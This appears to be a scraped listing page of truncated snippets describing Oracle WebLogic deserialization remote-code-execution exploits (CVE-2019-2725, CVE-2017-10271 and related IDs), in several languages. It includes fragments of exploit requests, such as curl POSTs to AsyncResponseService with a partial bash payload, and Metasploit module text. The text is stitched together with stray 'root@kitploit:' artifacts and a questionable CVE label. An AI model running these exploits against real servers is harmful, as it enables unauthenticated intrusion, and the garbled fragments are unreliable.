CVE-2022-45047

CVE-2022-45047 POC,EXP,chatGPT为我生成 代码 root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding": "gzip...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814 y CNNVD-201904-961 Gracias a t00ls-ximcx0101 por proporcionar el script CNVD-C-2019-48814 POC Summary Los enlaces relacionados son los siguientes: El artículo de Jian Shu del maestro 清水川崎: https://www.jianshu.com/p/c4982a845f55 Reenviado por 安全祖师爷: https://dwz.cn/2GQvbUae Debido...

CNVD-C-2019-48814

CNVD-C-2019-48814 WebLogic wls9-async反序列化远程命令执行漏洞 回显poc for weblogic Patch update: root@kitploit: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html 漏洞复现： root@kitploit: http://10.10.20.166:7001/async/AsyncResponseService root@kitploit: curl -i...

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

CVE-2019-2725 – Oracle WebLogic 未认证远程代码执行 Oracle Fusion Middleware 的 Oracle WebLogic Server 组件中存在漏洞（子组件：Web Services）。受影响的受支持版本为 10.3.6.0.0 和 12.1.3.0.0。该漏洞易于利用，允许未经认证的攻击者通过网络访问 HTTP 来危害 Oracle WebLogic Server。 漏洞概述 CVE ID： CVE-2019-2725 严重性： 严重（CVSS v3：9.8） 漏洞类型： 未认证远程代码执行（RCE） 受影响产品： Oracle...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2019-2725

POC-EXP Este script está dirigido a la vulnerabilidad de deserialización RCE CVE-2019-2725 en Weblogic. Antes de usarlo, modifique la dirección de escucha del VPS y, durante la ejecución, proporcione la URL específica para completar la prueba. La dirección de prueba es:...

Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', 'Description' = %q An unauthenticated attacker with network access to the...

Oracle Weblogic Server Deserialization RCE - AsyncResponseService

An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService to execute code on the vulnerable host. Module Options msf use exploit/multi/misc/weblogic/deserializeasyncresponseservice msf...

CVE-2017-10271 - Oracle WebLogic Server AsyncResponseService Deserialization Vulnerability

Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: WLS Security. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to...